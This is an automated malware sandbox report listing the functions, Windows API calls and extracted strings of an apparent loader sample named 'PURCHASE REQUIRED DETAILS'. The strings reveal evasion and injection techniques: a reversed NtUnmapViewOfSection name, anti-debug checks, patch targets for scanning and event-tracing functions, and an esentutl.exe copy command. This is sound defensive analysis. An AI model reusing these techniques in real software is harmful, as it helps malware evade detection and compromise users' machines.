Function 02B28670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B281CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A
Part of subcall function 02B281CC: GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 02B286D5

Strings

ntdll, xrefs: 02B286B8
noitceSfOweiVpamnUtN, xrefs: 02B2868B

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: 1e3fff73664cdce6c7097bc5c563aeb72e88e0dfc9957bcc874732ce7c1ef189
Instruction ID: 49158d26d9311c15c17309da22fd1708ef641e0c56c2a26098a1afc479a9023a
Opcode Fuzzy Hash: 1e3fff73664cdce6c7097bc5c563aeb72e88e0dfc9957bcc874732ce7c1ef189
Instruction Fuzzy Hash: C201A2B4A44304AFEB00EFA4DC41E5EB7FEEB48740F9084E0F40497610DA34A905DA24

Function 02B2DBB0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlI.N(?,?,00000000,02B2DC7E), ref: 02B2DC2C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC61

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Path$DeleteFileNameName_
String ID:
API String ID: 4284456518-0
Opcode ID: 61a08e4082b907a7fadada8ef99bea835fdc52f3085f566acc936c24da98cff4
Instruction ID: 7e57c1e19183b966585c856fc1901b44e08328d363bdf6be433c6ecf41e8b3b6
Opcode Fuzzy Hash: 61a08e4082b907a7fadada8ef99bea835fdc52f3085f566acc936c24da98cff4
Instruction Fuzzy Hash: 4C01A275A4430A6EEB05DBA08D55FCD77B9AB44304F5005D29204E6081DAB4AB088B24

Function 02B2DC04 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B14F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02B14F2E

RtlI.N(?,?,00000000,02B2DC7E), ref: 02B2DC2C
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC42
NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,02B2DC7E), ref: 02B2DC61

Part of subcall function 02B14C60: SysFreeString.OLEAUT32(02B2F4A4), ref: 02B14C6E

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: PathString$AllocDeleteFileFreeNameName_
String ID:
API String ID: 1530111750-0
Opcode ID: 66a4a3a4823cf7049789eae3ca951f846f0146a4fb19272d5dcc8bbded89c83b
Instruction ID: af9d69ab82114b9e8ef285d9bb1cec7df01d799a0ad4891b53d89aa00e2aabc6
Opcode Fuzzy Hash: 66a4a3a4823cf7049789eae3ca951f846f0146a4fb19272d5dcc8bbded89c83b
Instruction Fuzzy Hash: A701F47194030DBEEB11EBA0DD56FCDB3BDEB48700F9145E1E605E6590EA74AB088A64

Function 02B26DC8 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02B26D6C: CLSIDFromProgID.OLE32(00000000,?,00000000,02B26DB9,?,?,?,00000000), ref: 02B26D99

CoCreateInstance.OLE32(?,00000000,00000005,02B26EAC,00000000,00000000,02B26E2B,?,00000000,02B26E9B), ref: 02B26E17

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 65475bca08fe62d4683997fa76f9561573564cbccf2fd98dd4fa29a6a45e5e62
Instruction ID: 65ce6676ed6112fabea7441798b2c83f6ccd0f2f1b98e0c1ec686466d75e23e9
Opcode Fuzzy Hash: 65475bca08fe62d4683997fa76f9561573564cbccf2fd98dd4fa29a6a45e5e62
Instruction Fuzzy Hash: 9B01F231608708AEF711EF61DC6296FBBBDE749B00B9108B5F409E2690EA309D14C964

Function 02B2F7C8 Relevance: 227.8, APIs: 8, Strings: 117, Instructions: 9071COMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,02B3B784,?,?,?,00000000,00000000), ref: 02B2F801

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(742B0000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,742B0000,00000000,00000000), ref: 02B28AAA

Part of subcall function 02B2F6E8: GetModuleHandleW.KERNEL32(KernelBase,?,02B2FAEB,UacInitialize,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,Initialize), ref: 02B2F6EE
Part of subcall function 02B2F6E8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B2F700

Part of subcall function 02B2F744: GetModuleHandleW.KERNEL32(KernelBase), ref: 02B2F754
Part of subcall function 02B2F744: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B2F766
Part of subcall function 02B2F744: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B2F77D

Part of subcall function 02B17E5C: GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Part of subcall function 02B1C364: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02C8B8B8,?,02B30751,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession), ref: 02B1C37B

Part of subcall function 02B2DD70: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDAB
Part of subcall function 02B2DD70: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B2DE40), ref: 02B2DDDB
Part of subcall function 02B2DD70: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B2DDF0
Part of subcall function 02B2DD70: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B2DE1C
Part of subcall function 02B2DD70: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B2DE25

Part of subcall function 02B17E80: GetFileAttributesA.KERNEL32(00000000,?,02B3356F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,Initialize), ref: 02B17E8B

Part of subcall function 02B18048: CreateDirectoryA.KERNEL32(00000000,00000000,?,02B3370D,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,Initialize,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8), ref: 02B18055

Strings

DllRegisterServer, xrefs: 02B2FB54, 02B300A0
CreateProcessAsUserW, xrefs: 02B3AA2A, 02B3AA48
RtlCreateQueryDebugBuffer, xrefs: 02B3A6DD
NtGetWriteWatch, xrefs: 02B3AE7E
MiniDumpReadDumpStream, xrefs: 02B39262
GetProxyDllInfo, xrefs: 02B2FB2A
psapi, xrefs: 02B3A15F
NtOpenFile, xrefs: 02B3B0E2
NtWaitForSingleObject, xrefs: 02B3A677
ntdll, xrefs: 02B3922B, 02B3927B, 02B3928F, 02B3A628, 02B3A65B, 02B3A68E, 02B3A6C1, 02B3A6F4, 02B3AE95, 02B3AEC8, 02B3AEFB, 02B3AF2E, 02B3AF61, 02B3AF94, 02B3AFC7, 02B3AFFA, 02B3B02D, 02B3B060, 02B3B093, 02B3B0C6, 02B3B0F9, 02B3B12C, 02B3B15F
EnumServicesStatusExW, xrefs: 02B3A9DF
RtlQueryProcessDebugInformation, xrefs: 02B3A9A3
CryptSIPGetSignedDataMsg, xrefs: 02B2FDFA
IconIndex=, xrefs: 02B36DAD
CreateProcessWithLogonW, xrefs: 02B3AA39
ieproxy, xrefs: 02B2FB14, 02B2FB3B, 02B2FB6B
can, xrefs: 02B33D15
WintrustAddActionID, xrefs: 02B2FC36
SLIsGenuineLocalEx, xrefs: 02B39ED5
LdrLoadDll, xrefs: 02B3B049
BCryptQueryProviderRegistration, xrefs: 02B2FEDC
C:\Windows\System32\, xrefs: 02B3040A, 02B3796B, 02B386B3
CreateProcessW, xrefs: 02B3AA0C
UacUninitialize, xrefs: 02B33844, 02B33BB2
SLLoadApplicationPolicies, xrefs: 02B39F08
TrustOpenStores, xrefs: 02B2FC03
CryptSIPVerifyIndirectData, xrefs: 02B2FDC7, 02B3A17B
kernel32, xrefs: 02B3AAF0, 02B3AB23, 02B3AB56, 02B3AB89, 02B3ABBC, 02B3ABEF, 02B3AC22
C:\\Users\\Public\\Libraries\\, xrefs: 02B3616F
NtMapViewOfSection, xrefs: 02B3AF7D
ScanBuffer, xrefs: 02B2F9C6, 02B2FD1E, 02B2FF48, 02B304AF, 02B305BC, 02B306D4, 02B30AA8, 02B30C46, 02B30DEC, 02B30F0C, 02B310A1, 02B31199, 02B31402, 02B315A8, 02B31744, 02B3185A, 02B318E8, 02B31BFC, 02B31E9D, 02B31FAE, 02B3214B, 02B324F6, 02B32602, 02B32820, 02B3293D, 02B32C58, 02B32CF9, 02B32E6D, 02B3302D, 02B3334F, 02B33719, 02B339B8, 02B33ABA, 02B356B0, 02B359EA, 02B35D03, 02B36083, 02B363BC, 02B36666, 02B3686B, 02B369D1, 02B36B45, 02B36BC1, 02B37764, 02B377F5, 02B37C25, 02B37DB8, 02B37F14, 02B3800C, 02B38529, 02B387F6, 02B3899C, 02B38B29, 02B38CBD, 02B38E3C, 02B390B3, 02B391AB, 02B395C7, 02B398A0, 02B39A39, 02B39C6F, 02B39D01, 02B3A039, 02B3A3D7, 02B3A906, 02B3B20C
mssip32, xrefs: 02B2FDAB, 02B2FDDE, 02B2FE11, 02B3A192
MZP, xrefs: 02B39992
spp, xrefs: 02B3A0F9, 02B3A12C, 02B3ADC9
NtAccessCheck, xrefs: 02B3B016
Kernel32, xrefs: 02B3AA02, 02B3AA11, 02B3AA4D
acS, xrefs: 02B33D02
FlushInstructionCache, xrefs: 02B3ABD8
NtAlertResumeThread, xrefs: 02B3A611
Ntdll, xrefs: 02B3A97B, 02B3A98A, 02B3A999, 02B3A9A8
NtOpenProcess, xrefs: 02B3928A
[InternetShortcut], xrefs: 02B36D48
SLGetEncryptedPIDEx, xrefs: 02B3AE4B
EnumServicesStatusExA, xrefs: 02B3A9D0
.url, xrefs: 02B35D93
NtReadVirtualMemory, xrefs: 02B3AFB0
BCryptVerifySignature, xrefs: 02B2FEA9, 02B3A2A6
/d , xrefs: 02B364B5
DllGetClassObject, xrefs: 02B2FB03, 02B3003A, 02B3A115, 02B3ADE5
WinHttp.WinHttpRequest.5.1, xrefs: 02B3233C
UacScan, xrefs: 02B2F836, 02B300D9, 02B301D1, 02B307A0, 02B31386, 02B31964, 02B322C6, 02B329D9, 02B33C2E, 02B35B8F, 02B360FF, 02B362C4, 02B365EA, 02B366F7, 02B36955, 02B36A4D, 02B375F0, 02B37992, 02B37BA9, 02B37D3C, 02B37F90, 02B3841C, 02B385A5, 02B386FE, 02B388A4, 02B38A31, 02B38BC5, 02B38D44, 02B38FBB, 02B39429, 02B39643, 02B39824, 02B399BD, 02B39BF3, 02B3AA63
http, xrefs: 02B32128
DlpNotifyPreDragDrop, xrefs: 02B3A44D
NtOpenSection, xrefs: 02B3AF17
VirtualAlloc, xrefs: 02B3AAD9
sppwmi, xrefs: 02B3ADFC
SLGetGenuineInformation, xrefs: 02B39E6F
URL=file:", xrefs: 02B36D57
SxTracerGetThreadContextDebug, xrefs: 02B3A0E2, 02B3ADB2
NtWriteVirtualMemory, xrefs: 02B3B0AF
EtwEventWriteEx, xrefs: 02B3B115
DlpGetWebSiteAccess, xrefs: 02B3A4E6
GET, xrefs: 02B32455
OpenProcess, xrefs: 02B3AB72
FindCertsByIssuer, xrefs: 02B2FC69
NtDeviceIoControlFile, xrefs: 02B3A985
SLGatherMigrationBlob, xrefs: 02B3AE18
GetProcessMemoryInfo, xrefs: 02B3A148
RtlAllocateHeap, xrefs: 02B3A644, 02B3A6AA
VirtualAllocEx, xrefs: 02B3AB0C
C:\\Windows\\System32\\esentutl.exe /y , xrefs: 02B364AA
C:\Users\Public\, xrefs: 02B35D88, 02B36FF3
smartscreenps, xrefs: 02B30051, 02B30084, 02B300B7
EnumServicesStatusA, xrefs: 02B3A9B2
NtSetSecurityObject, xrefs: 02B39276
VirtualProtect, xrefs: 02B3AB3F
RetailTracerEnable, xrefs: 02B3A0AF
/o, xrefs: 02B364C0
NtCreateSection, xrefs: 02B3AF4A
BCryptRegisterProvider, xrefs: 02B2FF0F
NtOpenObjectAuditAlarm, xrefs: 02B39226
sppc, xrefs: 02B39E86, 02B39EB9, 02B39EEC, 02B39F1F, 02B3AE2F, 02B3AE62
LdrGetProcedureAddress, xrefs: 02B3B07C
EtwEventWrite, xrefs: 02B3B148
I_QueryTagInformation, xrefs: 02B3923A
DlpGetArchiveFileTraceInfo, xrefs: 02B3A4B3
psapi, xrefs: 02B3A9F3
CryptSIPGetInfo, xrefs: 02B2FD94
endpointdlp, xrefs: 02B3A464, 02B3A497, 02B3A4CA, 02B3A4FD
MiniDumpWriteDump, xrefs: 02B3924E
bcrypt, xrefs: 02B2FEC0, 02B2FEF3, 02B2FF26, 02B3A2BD
DllGetActivationFactory, xrefs: 02B3006D
NtQuerySystemInformation, xrefs: 02B3A976
advapi32, xrefs: 02B3923F
SetUnhandledExceptionFilter, xrefs: 02B3AC0B
NtQueryInformationThread, xrefs: 02B3AEE4
NtQueryVirtualMemory, xrefs: 02B3AEB1
EnumServicesStatusW, xrefs: 02B3A9C1
Initialize, xrefs: 02B2F8FE, 02B3081C, 02B309B0, 02B30B4E, 02B30CF4, 02B30FA9, 02B3164C, 02B31A88, 02B31F32, 02B3203C, 02B32723, 02B32A55, 02B32D75, 02B330A9, 02B33257, 02B33583, 02B3393C, 02B35876, 02B35C0B, 02B36007, 02B361CC, 02B36438, 02B3656E, 02B36773, 02B376E8, 02B383A0, 02B393AD, 02B39FBD, 02B3A35B, 02B3A88A, 02B3AC44, 02B3B190
OpenSession, xrefs: 02B2F89A, 02B2FA2A, 02B30312, 02B30433, 02B30540, 02B30658, 02B30A2C, 02B30BCA, 02B30D70, 02B30E90, 02B31025, 02B3111D, 02B3130A, 02B314B0, 02B317DE, 02B31A0C, 02B31B80, 02B31CA3, 02B31E21, 02B321C7, 02B3224A, 02B32362, 02B3247A, 02B32586, 02B327A4, 02B328C1, 02B32B60, 02B32BDC, 02B32DF1, 02B32F91, 02B332D3, 02B33461, 02B3367B, 02B33795, 02B33B36, 02B35634, 02B357CE, 02B3596E, 02B35B13, 02B35C87, 02B35ED7, 02B35F8B, 02B36248, 02B36340, 02B367EF, 02B36AC9, 02B36C3D, 02B36DD3, 02B36F83, 02B3766C, 02B37871, 02B37A8A, 02B37B2D, 02B37CC0, 02B38088, 02B38324, 02B38621, 02B3877A, 02B38920, 02B38AAD, 02B38C41, 02B38DC0, 02B38EC3, 02B39037, 02B392B5, 02B394A5, 02B39796, 02B3991C, 02B39B77, 02B39D7D, 02B39F41, 02B3A230, 02B3A2DF, 02B3A51F, 02B3A716, 02B3A80E, 02B3ACC0, 02B3B288
CreateProcessA, xrefs: 02B3A9FD
SLGetSLIDList, xrefs: 02B39EA2
Advapi, xrefs: 02B3A9B7, 02B3A9C6, 02B3A9D5, 02B3A9E4, 02B3AA20, 02B3AA2F, 02B3AA3E
WriteVirtualMemory, xrefs: 02B3ABA5
NtQuerySecurityObject, xrefs: 02B3AFE3
tquery, xrefs: 02B3A0C6
DlpCheckIsCloudSyncApp, xrefs: 02B3A480
wintrust, xrefs: 02B2FC1A, 02B2FC4D, 02B2FC80
UacInitialize, xrefs: 02B2FA8E, 02B30155, 02B30898, 02B3553C, 02B358F2, 02B35DDF, 02B378ED, 02B3912F, 02B3954B
CreateProcessAsUserA, xrefs: 02B3AA1B
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02B3098A
dbgcore, xrefs: 02B39253, 02B39267
ScanString, xrefs: 02B2F962, 02B2FB8D, 02B2FCA2, 02B2FE33, 02B2FFC4, 02B3024D, 02B3038E, 02B30914, 02B3152C, 02B316C8, 02B31B04, 02B31D1F, 02B31D9B, 02B320B8, 02B323DE, 02B326A7, 02B32AE4, 02B32F15, 02B33125, 02B331DB, 02B334DD, 02B335FF, 02B338C0, 02B355B8, 02B35752, 02B35A97, 02B35E5B, 02B364F2, 02B36CD8, 02B36E4F, 02B36F07, 02B37574, 02B37A0E, 02B37E75, 02B38498, 02B38F3F, 02B39331, 02B3971A, 02B39AFB, 02B39DF9, 02B3A1B4, 02B3A59B, 02B3A792, 02B3AD3C
NtQueryDirectoryFile, xrefs: 02B3A994
GZmMS1j, xrefs: 02B2F80F
EnumProcessModules, xrefs: 02B3A9EE
HotKey=, xrefs: 02B36EE1

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: File$Module$AddressAttributesHandleNamePathProc$CheckCloseCreateDebuggerDirectoryFreeInetInformationLibraryName_OfflineOpenPresentQueryReadRemote
String ID: /d $ /o$.url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\esentutl.exe /y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 297057983-2644593349
Opcode ID: a17eed07ffbcc5f27070012b1c678ae930f3691f0b74f4ef17f4a13818689182
Instruction ID: b55d02beae2f92b8f966ebe61073465c5925099330f520550f308a12bacbcafb
Opcode Fuzzy Hash: a17eed07ffbcc5f27070012b1c678ae930f3691f0b74f4ef17f4a13818689182
Instruction Fuzzy Hash: 2714E875A0012C9FDB11EB64DD80ACE73BAFF85304FA041E6E549EB218DA30AE95DF51

Function 02B38128 Relevance: 162.0, APIs: 5, Strings: 86, Instructions: 2778
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B289D0: FreeLibrary.KERNEL32(742B0000,00000000,00000000,00000000,00000000,02B9738C,Function_0000662C,00000004,02B9739C,02B9738C,05F5E103,00000040,02B973A0,742B0000,00000000,00000000), ref: 02B28AAA

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02C8B7E0,02C8B824,OpenSession,02B97380,02B3B7B8,UacScan,02B97380), ref: 02B386E9
ResumeThread.KERNEL32(00000000,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8), ref: 02B38D33
CloseHandle.KERNEL32(00000000,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,00000000,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380), ref: 02B38EB2

Part of subcall function 02B2894C: LoadLibraryW.KERNEL32(bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize,02B973A8,02B2A93C,UacScan), ref: 02B28960
Part of subcall function 02B2894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B2897A
Part of subcall function 02B2894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000920,00000000,02B973A8,02B2A587,ScanString,02B973A8,02B2A93C,ScanBuffer,02B973A8,02B2A93C,Initialize), ref: 02B289B6

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,02B97380,02B3B7B8,UacInitialize,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,UacScan,02B97380), ref: 02B392A4

Part of subcall function 02B17E5C: GetFileAttributesA.KERNEL32(00000000,?,02B3041F,ScanString,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,UacScan,02B97380,02B3B7B8,UacInitialize), ref: 02B17E67

Part of subcall function 02B2DC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02B2DD5E), ref: 02B2DCCB
Part of subcall function 02B2DC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B2DD05
Part of subcall function 02B2DC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B2DD32
Part of subcall function 02B2DC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B2DD3B

Part of subcall function 02B28338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B283C2), ref: 02B283A4

ExitProcess.KERNEL32(00000000,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,Initialize,02B97380,02B3B7B8,00000000,00000000,00000000,ScanString,02B97380,02B3B7B8), ref: 02B3B2FA

Strings

OpenProcess, xrefs: 02B3AB72
CreateProcessAsUserW, xrefs: 02B3AA2A, 02B3AA48
NtDeviceIoControlFile, xrefs: 02B3A985
RtlCreateQueryDebugBuffer, xrefs: 02B3A6DD
NtGetWriteWatch, xrefs: 02B3AE7E
SLGatherMigrationBlob, xrefs: 02B3AE18
GetProcessMemoryInfo, xrefs: 02B3A148
MiniDumpReadDumpStream, xrefs: 02B39262
psapi, xrefs: 02B3A15F
RtlAllocateHeap, xrefs: 02B3A644, 02B3A6AA
NtOpenFile, xrefs: 02B3B0E2
NtWaitForSingleObject, xrefs: 02B3A677
VirtualAllocEx, xrefs: 02B3AB0C
ntdll, xrefs: 02B3922B, 02B3927B, 02B3928F, 02B3A628, 02B3A65B, 02B3A68E, 02B3A6C1, 02B3A6F4, 02B3AE95, 02B3AEC8, 02B3AEFB, 02B3AF2E, 02B3AF61, 02B3AF94, 02B3AFC7, 02B3AFFA, 02B3B02D, 02B3B060, 02B3B093, 02B3B0C6, 02B3B0F9, 02B3B12C, 02B3B15F
EnumServicesStatusExW, xrefs: 02B3A9DF
RtlQueryProcessDebugInformation, xrefs: 02B3A9A3
EnumServicesStatusA, xrefs: 02B3A9B2
CreateProcessWithLogonW, xrefs: 02B3AA39
NtSetSecurityObject, xrefs: 02B39276
VirtualProtect, xrefs: 02B3AB3F
RetailTracerEnable, xrefs: 02B3A0AF
NtCreateSection, xrefs: 02B3AF4A
SLIsGenuineLocalEx, xrefs: 02B39ED5
LdrLoadDll, xrefs: 02B3B049
NtOpenObjectAuditAlarm, xrefs: 02B39226
C:\Windows\System32\, xrefs: 02B386B3
CreateProcessW, xrefs: 02B3AA0C
